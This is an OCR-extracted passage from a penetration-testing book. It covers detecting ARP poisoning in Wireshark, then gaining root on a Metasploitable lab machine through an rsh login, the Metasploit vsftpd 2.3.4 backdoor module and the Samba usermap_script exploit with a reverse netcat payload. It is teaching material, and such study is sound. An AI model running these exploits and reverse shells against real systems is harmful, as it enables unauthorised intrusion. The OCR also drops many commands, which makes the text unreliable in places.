M Wireshark - Expert Information - wireshark_71017424-0077-4248-2447-46BCC22105DA_2018071220..,  — O >
Severity . Summary Group Protocol Count
v Mote ARP packet storm detected (30 packets in < 100 ms) Sequence ARP/RARP

5360 Who has 10.0.2.317 Tell 10.0.2.67 Sequence ARP/RARP
5594 Who has 10.0.2.627 Tell 10.0.2.67 Sequence ARP/RARP
5627 Who has 10.0.2.937 Tell 10.0.2.67 Sequence ARP/RARP
5659 Who has 10.0.2.1247 Tell 10.0.2.67 Sequence ARP/RARP
5690 Who has 10.0.2.155% Tell 10.0.2.67 Sequence ARP/RARP
5729 Who has 10.0.2.1867 Tell 10.0.2.67 Sequence ARP/RARP
5780 Who has 10.0.2.2177 Tell 10.,0.2.67 Sequence ARP/RARP
5832 Who has 10.0.2.2487 Tell 10.0.2.67 Sequence ARP/RARP

This means that there is a single device sending a large number of
ARP packets, more than likely with the aim of finding connected
devices and ports.

We are now going to perform an ARP poisoning attack using a man-
in-the-middle framework in order to see if we get any notifications or
warnings in Wireshark. If we go to Analyze | Expert Information
again, a warning telling us that a duplicate |IP address has been
configured should appear:

‘ Wireshark . Expert Information . wireshark_71017424-0%77-4248-8447-46BCC2310504_2018071220... = a *
Severit}rv Summary Group Protocol Count
v Warning Duplicate IP address configured (10.0.2.1) Sequence ARP/RARP

44169 10.0.2.1 is at 08:00:27:0b:91:66 Sequence ARP/RARP
44109 10.0.2.1 is at 08:00:27:0b:91:66 Sequence ARP/RARP
44110 10,0.2.7 15 at 03:00:27:0b:97:66 Sequence ARP/RARP
441N 10.0.2.1 is at 08:00:27:0b:91:66 Sequence ARP/RARP
44113 10.0.2.1 is at 08:00:27:0b:91:66 Sequence ARP/RARP
44150 10,0.2.7 is at 03:00:27:0b:91:66 Sequence ARP/RARP

This means the IP address of the router has two different MAC
addresses, which indicates that someone is tampering with the
connections and trying to place themselves in the middle using an
ARP poisoning attack.

Now that we've explored a number of ways to detect ARP poisoning,
let's discuss how we can prevent those attacks and protect ourselves
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from them. Running the command will generate the following table:

C:%\Users\IEUser»arp -a

Type

dynamic
dynamic
dynamic
dynamic
dynamic

B1-86-5e-7f-ff-fa
FF-FF-FF-FF-FF-FF

As you can see in the previous screenshot, the command monitors
our network and will notify us of, or even prevent, any ARP poisoning
attacks. Another way of doing this is utilizing the dynamic entries
seen in the router's table. A dynamic type is essentially a physical
address that the system will allow to be changed. In the previous
screenshot, those values are static, which means the values cannot
be changed. Although using static ARP tables means that configuring
each IP address, ARP table, and MAC address manually, the system
will refuse any outside attempts to change those values.

The static solution is not very efficient when used in a big company or
firm, but is an ideal solution for small companies where values are
more likely to be configured. If a table is set up so that it's fixed and
not dynamic, any ARP poisoning attack should fail.

Summary

In this chapter, we looked at how we can detect ARP attacks on a
system. First, we learned what an ARP attack is and launched one
ourselves. Then we saw how to detect an ARP attack, as well as
general suspicious behavior with the use of Wireshark.

The next few chapters we are going to look at how we can gain
access to the victims machines for which we will be learning about
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the server-side and client-side attacks.
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10

Gaining Access to Computer Devices

We are now moving toward the next segment of the book, where we
will be covering topics related to gaining access to computer devices.
In this part, we will be looking at ways to gain access to a victim's
machine. We will be hacking victims' systems using various
techniques. This chapter will cover the first approach to attacking the
victim's system: the server-side attack. We will perform a server-side
attack using the Metasploit device and also exploitation of backdoors.

This chapter has the following sections:

Introduction to gaining access
Server-side attacks

Server-side basics

Server-side attacks, Metasploit basics
Code execution Metasploit

Introduction to gaining access

Now you have enough information to go ahead and try to gain access
to other systems, to computers, servers, web servers, and stuff like
that. In this section, we're going to be talking about gaining access to
computer devices. What do we mean by computer devices? Any
electronic device you see is a computer. A phone, a TV, a laptop, a
web server, a website, a network, a router; all of these things are
computers. Each one of them has an operating system, and they
have programs installed on these operating systems. In most cases,
these computers are used by a user. Here, we are going to be talking
about how to gain access to computers. In this example, we are
going to use a computer. We are going to have a Windows device
target, and we're going to have a Linux device hacker. But the
concept is always the same; getting access to computer devices is
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always the same. We can apply the same concepts if we are
targeting a phone, a tablet, or a web server, but we will be
considering them all just like a normal computer. This is very
important to understand: every device we see is a computer, and they
work just like our personal computer. We can set up a web server on
our computer, we can make it look and act like a website, or even
make it act like a TV, or, for that matter, anything we want. Literally,
TVs and all such things are just simple computers with less
complicated hardware in them.

We're going to be talking about attacking these devices from two
main sides: the server side and the client side.

Server side

A server-side attack doesn't require any user interaction. We're going
to have a computer, and we're going to see how we can gain access
to that computer without the need for the user to do anything. This
mostly applies to web servers, applications, and devices that don't get
used much by people. People basically configure them and then they
run automatically. All we have is an IP address, and we're going to
see how we can test the security and gain access to that computer
based on that IP. Our main way of getting in is going to be the
operating system that that target runs, and the applications installed
on that system. Various types of server-side attacks include SQL
injection attacks, buffer overflow, and denial-of-service attacks.

In this chapter, we will be focusing on server-side attacks. We will
look in detail at what a server-side attack is and how to implement
one.

Client side

The second approach that we're going to try is the client-side attack.
This approach will require the client, or the person who uses that
computer, to do something. This could involve a number of things,
such as installing an update, opening a picture, or opening a Trojan.
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We're going to learn how to create a Trojan, how to create backdoors,
how to use social engineering to make the target person do
something so that when they carry out that action, we will gain access
to their computer. Information gathering is going to be crucial in this
case, because we actually need to know the person that we're
targeting. Various types of client-side attacks include content
spoofing, cross-site scripting, and session fixation.

Post-exploitation

Once we get an access to the system, we will see what we can do
after we gain access to this computer, regardless of the method used
to gained access to it. This could involve a serverside exploit, a client-
side exploit, or even just physical access, where the victim leaves
their desk and you get in. We're going look at what we can do once
we have access to the target, how we can further exploit that target
and increase our privileges, or target other computers in the same
place.

Sever-side attacks

The first thing we're going to look at is server-side attacks. These are
attacks that don't require user interaction. We can use these attacks
with web servers, and also use them against normal computers that
people use every day. The reason why we are going to be using it
against my Metasploitable (which runs Unix, and which is more of a
server than a normal personal computer) is because if our target uses
a personal computer, and if they're not on the same network as us,
then even if we manage to get their IP address, their IP address is
going to be behind a router. They'll probably be connecting through a
router, and therefore, if we use the IP to try and determine what
operating systems run on it and what applications are installed, we
will not get much useful information because we are only going to be
getting information about the router and not about the person. The
person will be hiding behind the router. When we are targeting a web
server, or a server in general, then the server will have an IP address
and we can access that IP address directly on the internet. This
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attack will work if the person is on the same network and if the person
has a real IP. If we can ping the person, even if it's a personal
computer, then we can run all of the attacks and all of the information-
gathering methods that we're going to learn about. We are going to
be targeting my Metasploitable machine. Before we start working on
it, we will just check the network settings. Just to verify it, it is set to
NAT and it's on the same network as the Kali machine. The Kali
machine is going to be our attacking machine. Again, we have to
check that the network is set to the NAT network and it's on the same
subnet. This is very important. If we do , we will be able to see our IP
address as shown in the following screenshot:

To access official Ubuntu documentation, please visit:

http: - help.ubuntu.com~

o mail.

sfadmin@netasploitable:™5 ifconfig

etho Link encap:Ethernet HWaddr 08:00:27:5f :44:0c
inet addr:10.0.2.4 Bcast:10.0.2.255 Mask:255.255.255.0
inetb addr: feB0::a00:27ff :fe5f:440c-64 Scope:Link
UF BROADCAST RUNNING MULTICAST HMTU:1500 Metric:1
RX packets:45 errors:0 dropped:0 overruns:0 frame:0
TX packets:69 errors:0Q dropped:Q overruns:0 carrier:0
collisions:0 txqueuelen:1000
EX bytes:6783 (6.6 KB) TX bytes:V44Z (7.2 KB)

Base address:0xd010 Memory:fo000000-fO0Z0000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: ::1-128 Scope:Host

UF LOOPBACK RUNNING HMTU:16436 HMetric:1

RX packets:105 errors:0 dropped:0 overruns:0 frame:0
TX packets:105 errors:0 dropped:® overruns:0@ carrier:0
collisions:0 txgueuelen:0

EX bytes:Z25617 (25.0 KB) TX bytes:25617 (2£5.0 KB)

sfadmin@metasploitable:™

If we go to my Kali machine, we should be able to ping it. As we can
see in the following screenshot, when we ping on the IP, we're getting
responses back from the machine, which tells us we are connected to
that machine and we can get responses from it. Therefore, we can try
and test its security as shown with the next screenshot:
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root@kali: ~ S ® O

File Edit View Search Terminal Help

:~# ping 10.0.2.4

PING 10.0.2.4 (10.0.2.4) 56(84) bytes of data.

64 bytes from 10.8. : icmp seq=1 ttl=64 time=0.982 ms
4 bytes from 10.8. icmp seq=2 ttl=64 time=0.530 ms
4 bytes from 10.0. ttl=64 time=0.512 ms
4 bytes from 10.0. icmp 4 ttl=64 time=0.648 ms
4 bytes from 10.0. tt1=64 time=1.03 ms
4 bytes from 10.0. icmp segq=6 ttl=64 time=0.221 ms
4 bytes from 10.0. ttl=64 time=0.392 ms

icmp seq=8 ttl=64 time=0.473 ms

icmp seq=9 ttl=64 time=0.279 ms
icmp seq=10 ttl=64 time=0.296 ms
icmp seq=11 ttl=64 time=0.299 ms
icmp seq=12 ttl=64 time=0.350 ms

[ RS 5

ok bR E R R R R R

4 bytes from 10.0.
4 bytes from 10.0.
4 bytes from 10.0.
4 bytes from 10.0.
4 bytes from 10.0.

[t I I % o6 LR L o B 8

- 10.8.2.4 ping statistics ---
packets transmitted, 12 received, 0% packet loss, time 11284ms
rtt min/avg/max/mdev = 8.221/0.501/1.030/0.254 ms

Again, we can use these attacks and these approaches against any
computer that we can ping. If it's a personal computer or if it's a
server of any kind, as long as we can ping that location or we can
ping that person, then we can launch these attacks and methods that
we're going to talk about.

Server-side attacks work against websites, web servers, people, and
normal computers, as long as we can ping them. Just to convey this
idea, we will see the Metasploitable machine, which is just a normal
virtual machine that we can use right here to do anything we want.
We can list it using the command, and we can even install a graphical
interface. Then we will be able to use it in the way we use my Kali
machine. But at the same time, it has a web server. If we try to
navigate to the server, we will see that it actually has a web server
and it has websites that we can actually read and browse. We're
going to have a look at these websites and see how we can pen test
them in the later chapters as we can see in the following screenshot:
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Applications -

Metasploitable2 - Linux x|+
€& ©[10024 e || Search wBe +$ & @ =

[ Most Visited v [l Offensive Security s Kali Linux & Kali Docs " Kali Tools = Exploil-DB Wy Aircrack-ng gdKali Forums s NetHunter »

Warning: Mever expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

Everything is a computer, and if we can ping the IP, we can use
server-side attacks. They mostly work against servers because
servers always have real IPs. If the person is in the same network as
we are, then we can ping them to do all of these attacks as well.

Server-side attack basics

The first step in server-side attacks is information gathering.
Information gathering is very important because it will show us the
operating system of the target, the installed programs, the running
services on the target, and the ports associated with these services.
From these installed services, we can try and get into the system. We
can do this by trying the default passwords. We saw this in the
network penetration testing part where the iPad had an SSH service
installed that basically gave us full access to the computer if the
person still uses the default password, which was alpine. We can do
this with any other service, and we will do so further in this section.

There's a lot of people that install services and misconfigure them, so
we'll have another example of this as well. Sometimes, a lot of these
services are designed to give someone remote access to that
computer, but they obviously need to have some security
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implementations. People often misconfigure these services, so we
can take advantage of these misconfigurations and gain access to
these computers. Another problem with these services is that some of
them might even have backdoors, and we'll see an example of that
too. A lot of them will have vulnerabilities, such as remote buffer
overflows or code execution vulnerabilities, and this will allow us to
gain full access to the computer.

The simplest way of doing this is something that we've seen before:
Zenmap. We use Zenmap with the IP. We get a list of all of these
services, and then Google each one of them to see if they contain
any vulnerabilities. We've seen how we can use Zenmap in previous
chapters, but we just want to convey the idea that anything is a
computer. We've seen before how the Metasploitable device is
actually a website. It has a web server running; websites are no
different than this. If we want to get the IP of a website, all we have to
do is . For example, if we're targeting Facebook, we have to , and
we'll get their IP. We will have Facebook's IP and we'll be able to run
Zenmap against it and get a list of all the running services on
Facebook. Now, obviously we are not going to do that because we
are not allowed to do that. What we are going to do is run Zenmap
against this Metasploitable device, which basically is a computer
device, and that's what we're interested in testing.

We going to run Zenmap in the same way that we did before. We will
go to Activities. We are just going to look for Zenmap and open it.
Now we are going to enter the IP of our target, of the Metasploitable
device, which was in our example. Remember that in , Network
Penetration Testing we used to put the base IP and put it over 24 to
cover all the IPs around us in the network. In this case, you might be
testing a remote IP. For example, in the case of Facebook, all you
have to do is just put the Facebook target IP in there and test it. But
since we don't have permission to do so, we are not going to do that.
We do have permission to test our own device, though, which is
installed on the same network as us, so that's why we will be putting
in that IP. We can literally put any IP we want in there and test it. We
are going to use Scan, and this will give us a list of all the installed
applications as shown in the following screenshot:
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Zenmap e 00

Scan Tools Profile Help

Target: (10.0.2.4 ¥  Profile: |intense scan v | |Sean|

Command: |nmap -T4 -A -v 10.0.2.4

Hasts || Services Nmap Output | Ports f Hosts  Topology = Host Details | Scans

05 | Host - nmap -T4 -A -v 10.0.2.4 = | Details

4, 10.0.2.4 Starting Nmap 7.7@ ( https://nmap.org ) at 2018-86-12 85:50 EDT
NSE: Loaded 148 scripts for scanning. I

NSE: Script Pre-scanning.

Initiating NSE at 05:50

Campleted NSE at a5:58, 0.80s elapsed

Initiating NSE at 05:50

Completed NSE at @5:30, 6.68s elapsed

Initiating ARP Ping Scan at 85:50

Scanning 18.8.2.4 [1 port]

Completed ARP Ping Scan at 05:50, ©.13s5 elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 85:58

Completed Parallel DNS resolution of 1 host. at ©5:56, ©.30s elapsed
Initiating 5YN Stealth Scan at 85:58
scanning 19.9.2.4 [1000 ports]
Discovered open port 80/tcp on 10.0.2.4
Discovered open port 59@8/tcp on 10.9.2.
Discovered open port 3306/tcp on 10.0.2.
Discovered open port 111/tcp on 18.8.2.4
Discovered open port 129/tcp on 10.0.2.4
Discovered open port 23/tcp on 18.8.2.4
Discovered open port 445/tcp on 10.8.2.4
Discovered open port 53/tcp on 18.8.2.
Discovered open port 21/tcp on 10.0.2.
Discovered open port 25/tcp on 18.8.2.
Discovered open port 22/tcp on 19.8.2.
Discovered open port 513/tcp on 18.8.2.4

aq
4

EON N -

Discovered open port 2049/tcp on 10.0.2.4
Discovered open port 514/lcp on 10.0.2.4

Filter Hoste Discovered open port 1524/tcp on 10.0.2.4 v

Once the scan is finished, we will have a lot of open ports and a lot of
services. It is advisable that we go on the Nmap Output tab, check
port by port, read what the services are, and Google the names of the
services. For example, we have port in the following screenshot,
which is an FTP port. FTP is a service that's installed to allow people
to upload or download files from the remote server. FTP services
usually use a username and a password, but we can see that this
service has been misconfigured and it allows an anonymous FTP
login. Unlike the SSH that we used before in the network penetration
testing, we can use the default password. With this we will be able to
log in without a password, note the next screenshot:
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Applications + Maces + = Zenmap -

Zenmap - [— IO ]

Scan Tools Profile Help

Target: 110.0.2.4 v  Profile: |Intense scan ¥ | |Scan|

Command: |nmap -T4 -A -v 10.0.2.4

Hosts | Services |  Nmap Output | Ports / Hosts  Topology Host Details  Scans

Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
vsFTPd 2.3.4 - secure, fast. stable
| End of status
22/tcp open ssh OpenSSH 4.7pl Debian Subuntul (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:el;c0:5f:6a:74:d6:90:24:fa:c4:d5:6¢c:cd (DSA)
|__ 2848 56:56:24:8T+:21:1dde:a7:2b:ae:61:bl:24:3d:e8:T3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp  open smtp Postfix smtpd
| smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10248000, VRFY, ETEN,
STARTTLS, ENHANCEDSTATUSCODES, S8BITMIME, DSN,
| ssl-cert: Subject: commonName=ubuntug4-base.localdomain/organizationName=0COSA/
stateOrProvinceName=There is no such thing ocutside US/countryName=XX
| Issuer: commonName=ubuntu8B84-base.localdomain/organizationName=0C0SA/
stateOrProvinceName=There is no such thing ocutside US/countryName=xXX
Filter Hosts | Public Key type: rsa

oS Host - nmap -T4 -A -v 10.0.2.4 - Details
4 10024 Mot shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| _ftp-anon: Anonymous FTP login allowed (FTP code 230)
| frp-syst:
| STAT:
| FTP server status:
| Connected to 10.0.2.15
| Logged in as fip
| TYPE: ASCII “
| No session bandwidth limit
I
|
|
|

All we have to do is download an FTP client, such as FileZilla, and we
will be able to connect using this IP address on port . We won't go
into the details of how to do it, as it is very simple. We just have to
download the application and connect to it. We can also Google an
FTP server, which in our case is vsftpd 2.3.4, and see whether it has
any issues, if it has any misconfigurations, or it has any known code
execution exploits. Once we Google this, we can see that this
particular application, vsftpd 2.3.4, has a backdoor installed with it. It
literally came with a backdoor when it was released. We need to
Google the services one by one and check whether they have any
misconfigurations or any exploits installed, or any known exploits.

Now we are going to have a look at port . Let's assume we went on
them one by one, we couldn't find anything, and we reached the TCP
port, as shown in the next screenshot:

We are going to Google the service that's running on this port, as we
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don't know what it is. After a little Googling, we know that netkit-rsh
is a remote execution program. If we manage to log in with this, we'll
be able to execute commands on the target computer, and it uses the
, Which is a program that ships with Linux. It allows us, similar to
SSH, to execute remote commands on the target computer. Let's go
back and see how we can connect to the service. Let's look at the
package, and what comes with this package. As we can see, this is
Ubuntu. The target computer system is running on Ubuntu, and we
can see that in here it uses the service to connect. We need to install
a package to connect to that service. It is a client program for a
remote shell connection. Now go back, and let's install . As we did
before when we needed to install something, we run , and we do .
We'll type the name of the program that we want to install, so it's .
The command to install

is as follows:

apt-get install rsh-client

is going to install it for us and configure it, and once it's installed,
we're going to

use to log in, because the first page told us that it uses the program
to facilitate the login process. We are going to do , and again, if we
don't know how to use this app, we use to see how to use it, as
shown in the following screenshot:

.~# rlogin --help

rlogin: invalid option -- '-'
usage: rlogin [-8ELKd] [-e char] [-1 user] [-1 user] [-p port] host

What's important here is the username ( ) and the , which is the target
IP. Now we are going to do . We are going to put the username as ,
which is the user with the most privileges on the system, and we'll put
the target IP, which is . Here is the command:

rlogin -l root 10.0.2.4

And now we are logged into the Metasploitable machine. If we
execute the command to get the ID, we can see that we are . If we do
a it will list the hostname and the kernel that's running on the
machine. We can see that we are in the Metasploitable machine with
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access, shown as follows:

This is a basic manual way of gaining access to the target computer
by exploiting the misconfiguration of an installed service. The service
was not configured properly. All we had to do was just Google what
came with that port, and we managed to log in and gain full access to
the target computer.

Again, the key point here is we do a Zenmap scan and then go to
each port that we find. We Google that port and look for
misconfigurations and default passwords. If this target service came
in with a backdoor or code execution, maybe it just wasn't
programmed properly or it had a flaw that can be used to gain access
to that computer.

Server-side attacks Metasploit basics

In this section, we're going to look at an example of a very simple
thing: a backdoor. Some programs or services are shipped with
backdoors embedded in them. We're going to exploit this, and we are
choosing this very simple exploit because we are going to look at a
framework called Metasploit. We will be using this framework a lot.
We are going to start with something simple and then we're going to
go deeper into the framework. First, let's look at how we can find that
exploit. Again, using the same method that we've always been using,
we have an Nmap scan; as we know, we're going to go on each port
and Google them, looking for exploits. We are going to Google the
service name

. It's the service name followed by . We can see that the first result
comes in from a website called Rapid7. Rapid7 is a company that
makes the Metasploit framework, so that's why we chose this
particular exploit. We're going to exploit this service, or this problem,
using Metasploit. Rapid7 will tell us that the 2.3.4 version of FTP has
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a backdoor command execution, so we can basically execute
commands on the target computer if it has this program installed. And
from Nmap, we know that this program is installed, which means that
we can execute commands on the target machine.

Metasploit, as we have said, is made by Rapid7. It is a huge
framework that contains a large number of exploits. It allows you to
exploit vulnerabilities or create your own exploits. If you are an expert
and you know how to discover and make exploits, then Metasploit will
help you do that. For now, we're making use of a very simple existing
vulnerability. The commands on Metasploit are very easy. They might
seem a bit complicated at first, but once we get used to them, they
are very easy to use, and a lot of them are generic commands. Here,
we will show you the basic generic commands.

There are other commands that we will get used to in time:

: This just launches the Metasploit program.

: With this, we can get information about the commands and a
description of how we can use them.

: This shows the available exploits. We can show the available
auxiliaries and the available payloads. We'll talk about what each of
these mean in the future.

: This command is used to use something that we have shown. For
example, we show the exploits and we pick a certain exploit that we
want to use. Then we use the command and we type in the exploit
name to run it. : The command is used to set specific options for the
exploit. For example, if we want to set the IP address of our target,
we set the IP and then we enter the value of the IP that we want to
set it to.

: At the end, once we finish configuring, we can type in to execute
that exploit.

We went on Nmap, we Googled the name of the service, and the first
thing that came up is that this service has a backdoor command
execution. Because this is on Rapid7, the vulnerability is exploitable
using Metasploit, and the module name that we're going to be using
is to exploit this vulnerability.
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Now we will go to our console, and we will launch Metasploit using
the

command, and we're going to run and then put the name of the
exploit,

which is :

use exploit/unix/ftp/vsftpd_234_backdoor

As we can see in the following screenshot, the name changed to and
then the name of exploit that we're using:

Then we're going to use the command to show the options that we
need to set. As we know, is a generic command that we can use in a
number of cases. In this case, we're doing to see all the options that
we can change for this particular exploit. As you can see in the
following screenshot, the second option is the port that the service is
running on. It's already set to port :

msf exploit( } = show options
Module options (exploit/unix/ftp/vsftpd 234 backdoor):
Name Current Setting Required Description
éﬁééT yes N The target address

RPORT 21 es The target port (TCP)

Exploit target:

Id MName

0] Automatic

If we go back to Nmap, we will see that our target FTP client, or
server, is running on port . We don't need to change any of that. What
we need to change is . is the

target IP address, and we're going to set , and that's the IP address
of my target

Metasploitable machine. We use , and after we put the option name.
If we want to

change the port, we set , but we are changing the to
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at the start of this topic, we're going to use the option, or the
command is going to be as follows:

set RHOST 10.0.2.4

Press Enter, and as we can see now, in the next screenshot, the . As
explained command. The

is set to :

msf exploit( )} = set RHOST 10.0.2.4

RHOST == 10.0.2.4

Now we will do again just to make sure that everything is configured
correctly, and as you can see in the following screenshot, has been
changed to

msf exploit( } = show options
Module options (exploit/unix/ftp/vsftpd 234 backdoor):
Name Current Setting Required Description
ééééT 10.9.2.4 yes The target address

RPORT 21 VEes The target port (TCP)

Exploit target:

Id MName

(6] Automatic

Everything is ready now. To execute the the following screenshot that
the the target computer. If we do we will see that ouris : , we just type
in . We can see in

was run successfully, and now we have access to
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- Banner: 22€
- USER:
- Backdot awned, harl'—jliﬂg .

10. - UID: uid
Found 1.
Command shell session 1 opened (10.0.2.15:34037 -= 10.0.2.4:6200) at 2018-06-12 23:57:21 -0400

uid=0(root) gid=0(root)

Now basically we are running Linux commands here, so if we do a we
will see that this is my Metasploitable machine, and if we do then it'll
list the files for us. If we do

it'll show us where we are, and we can use Linux commands to do
anything we want on the target machine:

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 18 13:58:00 UTC 2008 1686 GNU/Linux
1s

ow this was a very simple use of Metasploit. In the future, we're
going to be using it for more advanced actions.

Metasploit remote code execution
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Now we're going to have a more advanced look at Metasploit, and
we'll see how to use it to exploit a vulnerability that exists in a certain
service. It's a code execution vulnerability that will give us full access
to the target computer. Coming back to our results in Nmap, we're
going to do the same thing that we've been doing for a while: we copy
the service name and see whether it has any vulnerabilities. For now,
we're having a look at port , which has a Samba server version 3.X.
We're going to go to Google, just like we did in the previous section,
and we're going to look for . You will see there's a number of results.
The one that we're interested in is from Rapid7, because, as
mentioned earlier, these are the people that make Metasploit, so the
exploits that we see there can be used through Metasploit. The
exploit we'll be using is username map script. It's a command
execution vulnerability. The name of the vulnerability is , so it's the
same thing that we used before with the evil backdoor in the FTP
service. This is just a different name that we're going to use, as
shown in the following screenshot:

CVE-2007-2447 Samba “username map script™ Command Execution | Rapld7 - Mozilla Firefox e ® O
F) CVE-2007-2847 Sam.. % | =+

€ ) @ @ | https:/Awww.rapid7.com/db/modules/exploit/multi/sambalusermap_scr \ Search wa 4+ & @ =

[f5 Most Visited~ [l Offensive Security S Kali Linux & Kali Docs " Kali Tools % Exploit-DB W Aircrack-ng glKali Forums & NetHunter ”

Vulnerability & Exploit
Database

Back to search

Samba "username map script" Command Execution

This module exploits a command execution vulnerability in Samba versions 3020 through 3.025rc3 when using the non-default “username map
script” configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No

authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication!

Module Name
iexplu‘:x’rwuliia’sdrnt;-d;’u:t'rrrmu seript I Free MetaSPIOit Download

Get your copy of the world's leading penetration testing tool

Authors

jduck <jduck [at] metasploit.com>
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We will go to Metasploit and run . We will be writing a command like
we did in the previous section. We write , and then we are going to
type the name of the exploit that we want to use. The next thing that
we are going to do is . The command will be as follows:

use exploit/multi'samba/usermap_script
show options

Here is the output of the preceding command:

= use exploit/multi/samba/usermap script
) = show options

Module options (exploit/multi/samba/usermap script):

MName Current Setting Required Description

RHOST es The target address

RPORT 139 =5 The target port (TCP)

Exploit target:
Id Name

(4] Automatic

Using these exploits is always pretty much the same. The only
difference is the that we can set for each exploit. We always run and
then we type in the exploit name, and then do to see what we can
change to work with this exploit. In the future, we probably will get
different exploits than what we have now. Every time we want to run
an exploit, we do , and then we do to see the options that we want to
configure. But using the exploits and setting the options and running
them is always the same.

We will learn a few examples that should cover pretty much
everything that we want to do in the future. Again, we need to set up,
which is the IP of the target computer, and we're going to do it the
same way that we did before. As setting the is always the same, so
we're going to do

computer, which is

set an option, which is the
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the following screenshot, the
, and then we're going to put the IP of the target

. Exactly like we did before, we're using the command to . We're
going to run , and as we can see in will be set correctly according to
the specified IP:

msf exploit( } = set RHOST 10.0.2.4
XHOST == 10.0.2.4
ms ploit( ) = show options
Module options (exploit/multi/samba/usermap script):

Name Current Setting Required Description

6.5 The target address

RPORT 139 yes The target port (TCP)

Exploit target:

Id MName

0] Automatic

This is where things differ from the previous section. In the preceding
section, we used a backdoor that was already installed on the target
computer, so all we had to do was connect to the backdoor and then
we could run any Linux commands on the target computer. In this
section, the target computer does not have a backdoor; it has a
normal program that has a buffer overflow or a code execution
vulnerability. The program doesn't have any code that allows us to
run Linux commands. It has a certain flaw that will let us run a small
piece of code. These small pieces of code are called payloads. \What
we need to do is create a payload and then run it on the target
computer using the vulnerability that we found. That piece of code will
allow us to do different things. The payload is what allows us to do
things that are useful to us.

Now, the payload might let us do Linux commands, and there are
other types of payload we'll look at in the future. To see the payloads
that you can use with this particular exploit, all you have to do is run
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the command. We can use different types of payload, as shown in the
following screenshot:

) » show payloads

Disclosure Dale Rank Descriplion

normal d Shell, CP (via AWK)

C t gaping
cmd /uni ind netcat gaping ipvé

cmd/unix/bi perl
cmd/uni i erl_ipve

nctcat gaping
openssl

Payloads are small pieces of code that will be executed on the target
computer once the vulnerability has been exploited. When we exploit
the vulnerability, the code that we're going to pick will be executed,
and depending on the type of payload we choose, that payload will do
something that is useful to us. Right now, we can see that all the
payloads are command line, so they let us run commands on the
target computer, just like Linux commands. And all of them only run
on Unix, because our target is Linux.

There are two main types of payloads:

Bind payloads : All they do is open a port on the target computer,
and then we can connect to that port.

Reverse payloads: They do the opposite of bind payloads. They

open a port in my machine and then they connect from the target

computer to our machine. This is useful because this allows us to
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bypass firewalls. Firewalls filter any connections going to the target
machine, but if the target machine connects to us and we don't have
a firewall, then we will be able to bypass the firewall.

We will be using the payload. The last part of these payloads are the
programming language or the tool that's going to be used to facilitate
the connection. For example, we can see in preceding screenshot
that there are payloads written in Perl, Ruby, Python, PHP, or using
Netcat, which is a tool that allows connections between computers.
The payload is the one that we are going to use, and we are going to
use it in the same way we use an exploit. We are just going to use it
using the command. The command will be as follows:

set PAYLOAD cmd/unix/reverse_netcat

The same way you set an if there are any other , we're going to set
payload. We do to see that we need to , and because we picked a
payload, there are more . As you can see in the following screenshaot,
there is an option called , and it's the listening address, which is our
own address:
) = set PAYLOAD cmd/unix/reverse netcat
) = show options
Module options (exploit/multi/samba/usermap script):
Mame  Current Setting Required Description
) The target address
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse netcat):
Name

LHOST
LPORT 4444

Exploit target:

Id MName

1] Automatic
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We are going to get our own IP address using , and our address for
this example is , shown as follows:

We are going to set the in the same way that we set the before. We
set the to . Before, we used to set this option. Now we're setting the
to set this particular option. The command is really simple: , the

that we want to set it to:
, and then the
setLvosT 100215 1 NEN We are going to do screenshot:

, and everything seems fine, as shown in the next We're using this
exploit. The is set to , which is OK, and then the is set to , which is
perfect, and then we can also set the port that you're going to be
listening on on your current computer. You can actually set it to if you
want to. That's the port that is used by web browsers. If we set the to
, the target computer will try to connect to us using port , which is
never filtered on firewalls because that's the port that web browsers,
or web servers, use. Whenever we access a website, we actually
access port to us on port We are not going to do that now because
we have a web server running on port and that will conflict. We are
just going to the to , in the same way as . We are going to do again,
and as we can see in the following screenshot, that port has been
changed to :

on that website. If we open port on our machine and the target
connects

, then the firewall will think that the target is only browsing the
internet.
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msf exploit( } = set LPORT 5555
LPORT == 5555
mst exploit( )} = show options

Module options (exploit/multi/samba/usermap script):

Name Current Setting Required

5 The target address
RPORT 139 ye The target port (TCP)

/erse netcat):

Name Current Setting Required Description

LHOST 10.8.2.15 es The listen address
LPORT 5555 ye The listen port

Exploit target:
Id Name

0 Automatic

Now we are going to run the command to run the exploit. As we can
see in the following screenshat, it's telling us that between the device
and the device and the target device:

has been opened and the connection is

device, which is our

msf exploit(

[*] Started reverse TCP handler on 10.0.2.
[*] Command shell session 1 opened (10.0.2. -> 10.0.2.4:48184) at 2018-06-13 01:06:05 -0400

We are going to do , and we do . We will see that we are . If we do,
we will see we are in the Metasploitable machine, and if we do we will
be able to list the files and so on. We can use any Linux command
just like we did before in the previous section, shown as follows:
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initrd
initrd.img

1lib
lost+found
media

mnt
nohup.out
opt

proc

root

sbin

vmlinuz
Summary

In this chapter, we looked at the concept of gaining access to a
machine, and we also got an overview of ways to gain access. We
also looked at the basics of server-side attacks, which are the
techniques of gaining access to victims' machines. We saw how to
use a default password or a misconfigured service to gain access to
the target computer. We then saw how to use a service with a default
password, a service that has not been configured correctly, and a
service that came with a backdoor to gain full access to the target
computer. We also looked at using Metasploit to connect to a
backdoor that was installed on the FTP service. The next chapter will
be about using the MSFC and Nexpose tools to scan and analyze
vulnerabilities.
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11

Scanning Vulnerabilities Using Tools

In this chapter, we will see how to install MSFC, learn about the
scanning process, and finally look at the analysis of the report. We
will also be installing a tool called Nexpose, which will scan our
system for vulnerabilities. We will also learn to generate reports and
analyze them.

This chapter covers the following topics:

Installing MSFC
MSFC scan
MSFC analysis
Installing Nexpose
Running Nexpose
Nexpose analysis

Installing MSFC

In this section, we will look at Metasploit Community. This is a web
GUI that uses Metasploit, but it has features other than exploiting
vulnerabilities. It can be used to discover open ports, just like
